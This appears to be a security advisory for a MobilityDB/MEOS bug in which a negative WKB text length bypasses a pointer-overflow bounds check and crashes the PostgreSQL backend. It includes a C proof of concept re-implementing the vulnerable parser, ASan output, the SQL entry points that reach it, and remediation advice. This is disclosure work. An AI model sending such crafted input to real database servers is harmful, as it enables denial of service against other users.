# Out-of-bounds Read and PostgreSQL Backend Crash in MobilityDB MEOS Binary WKB Deserialization

**Package:** MobilityDB/MEOS (also affects MobilityDB, which vendors MEOS)
**Tested Versions:** master branch, MEOS 1.4.0dev (current as of testing)

---

## Affected Files

- `src/temporal/type_in.c`
  - `wkb_parse_state_check()` (overflow-unsafe bounds check)
  - `text_from_wkb_state()` (unchecked signed-to-size_t length conversion)
  - `read_wkb_value()` (shared by every fixed-width scalar reader, gated by the same unsafe check)

---

## Root Cause

`text_from_wkb_state()` reads an 8-byte value with `int64_from_wkb_state()` and stores it directly into a `size_t size`, with only a debug-only `assert(size > 0)` guarding against negative input; in a production build compiled with `NDEBUG` this assertion compiles out entirely. A negative length therefore wraps to a very large unsigned value. This value is then passed to `wkb_parse_state_check()`, whose bounds check is `(s->pos + next) > (s->wkb + s->wkb_size)`, an overflow-unsafe pointer comparison that adds the attacker-controlled `next` directly to `s->pos` rather than comparing against the remaining buffer size, so it fails to reject the oversized value. Execution then reaches `memcpy(str, s->pos, size)` with a catastrophic length, causing a crash.

---

## PoC

```c
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include <assert.h>   /* -DNDEBUG => asserts compiled out (production) */

#define MEOS_WKB_INT8_SIZE 8
#define MEOS_ERR_WKB_INPUT 1
#define ERROR 1

typedef struct { char _; } text;

static void *palloc(size_t n){ return malloc(n); }
static void  pfree(void *p){ free(p); }
static text *cstring_to_text(const char *s){ (void)s; return (text*)palloc(sizeof(text)); }
static void  meos_error(int l,int c,const char*m){ (void)l;(void)c; fprintf(stderr,"[meos_error] %s\n",m); }

typedef int interpType;
typedef struct {
  const uint8_t *wkb; size_t wkb_size; bool swap_bytes;
  uint8_t type, spantype, basetype, temptype, subtype; int32_t srid;
  bool ordered, hasx, hasz, hast, geodetic, has_srid; interpType interp;
  const uint8_t *pos;
} meos_wkb_parse_state;

void wkb_parse_state_check(meos_wkb_parse_state *s, size_t next){
  if ((s->pos + next) > (s->wkb + s->wkb_size))
    meos_error(ERROR, MEOS_ERR_WKB_INPUT, "WKB structure does not match expected size!");
  return;
}

static inline void swap_bytes(void *data, size_t size){
  uint8_t *b=(uint8_t*)data; for(size_t i=0;i<size/2;i++){uint8_t t=b[i];b[i]=b[size-i-1];b[size-i-1]=t;}
}

static inline void read_wkb_value(meos_wkb_parse_state *s, void *dest, size_t size){
  wkb_parse_state_check(s, size); memcpy(dest, s->pos, size);
  if (s->swap_bytes) swap_bytes(dest, size); s->pos += size;
}

int64_t int64_from_wkb_state(meos_wkb_parse_state *s){
  int64_t i=0; read_wkb_value(s,&i,MEOS_WKB_INT8_SIZE); return i;
}

text *text_from_wkb_state(meos_wkb_parse_state *s){
  size_t size = int64_from_wkb_state(s);
  assert(size > 0);
  wkb_parse_state_check(s, size);
  char *str = palloc(size + 1);
  memcpy(str, s->pos, size);
  str[size] = '\0';
  s->pos += size;
  text *result = cstring_to_text(str); pfree(str); return result;
}

int main(void){
  uint8_t buf[16]; int64_t neg = -1;
  memcpy(buf, &neg, 8); memset(buf+8, 0x41, 8);
  meos_wkb_parse_state s; memset(&s,0,sizeof(s));
  s.wkb=buf; s.wkb_size=sizeof(buf); s.pos=buf; s.swap_bytes=false;
  text_from_wkb_state(&s); return 0;
}
```

Build and run:
```
cc -g -O0 -DNDEBUG -fsanitize=address -fno-omit-frame-pointer mob_poc.c -o mob_poc
./mob_poc
```

Output:
```
==ERROR: AddressSanitizer: negative-size-param: (size=-1)
  #0 memcpy
  #1 text_from_wkb_state  (meos/src/temporal/type_in.c)
```

The same negative-length pattern reaches `text_from_wkb_state()` through the real code path via `base_from_wkb_state()` -> `text_from_wkb_state()`, called while parsing the binary representation of temporal values whose base type is `text` (e.g. `ttext`). This is reachable through the SQL-facing `Temporal_recv()` (PostgreSQL binary receive function, invoked automatically for binary-format input such as `COPY ... BINARY` or binary protocol parameters) and the explicit `Temporal_from_wkb()` SQL function, both of which require no elevated privileges beyond ordinary access to the extension's types and functions.

---

## Impact

An unprivileged, non-superuser database user (or any client sending binary-format temporal input to a PostgreSQL instance running the MobilityDB extension) can crash the PostgreSQL backend process by supplying a crafted WKB payload containing a negative length field consumed by `text_from_wkb_state()`. Because the check that is supposed to catch this (`wkb_parse_state_check()`) uses unsafe pointer arithmetic rather than comparing against remaining buffer size, the negative-length value is not rejected, and the following `memcpy()` uses a corrupted, effectively unbounded length. The result is a remote denial-of-service condition affecting the database backend and any other sessions relying on that PostgreSQL instance. The same overflow-unsafe check pattern is shared by other fixed-width WKB readers in the file (via `read_wkb_value()`), so the underlying bounds-check flaw is not confined to `text_from_wkb_state()` alone.

---

## Suggested Remediation

- Validate signed lengths before converting them to `size_t`; reject negative or otherwise oversized values immediately after they are read, rather than relying on an `assert()` that is compiled out in release (`NDEBUG`) builds.
- Make `wkb_parse_state_check()` overflow-safe by comparing the requested length against the remaining buffer size (e.g. `next > (size_t)(s->wkb + s->wkb_size - s->pos)`) instead of adding `next` to `s->pos` and comparing pointers, which can overflow/wrap when `next` is attacker-controlled and very large.
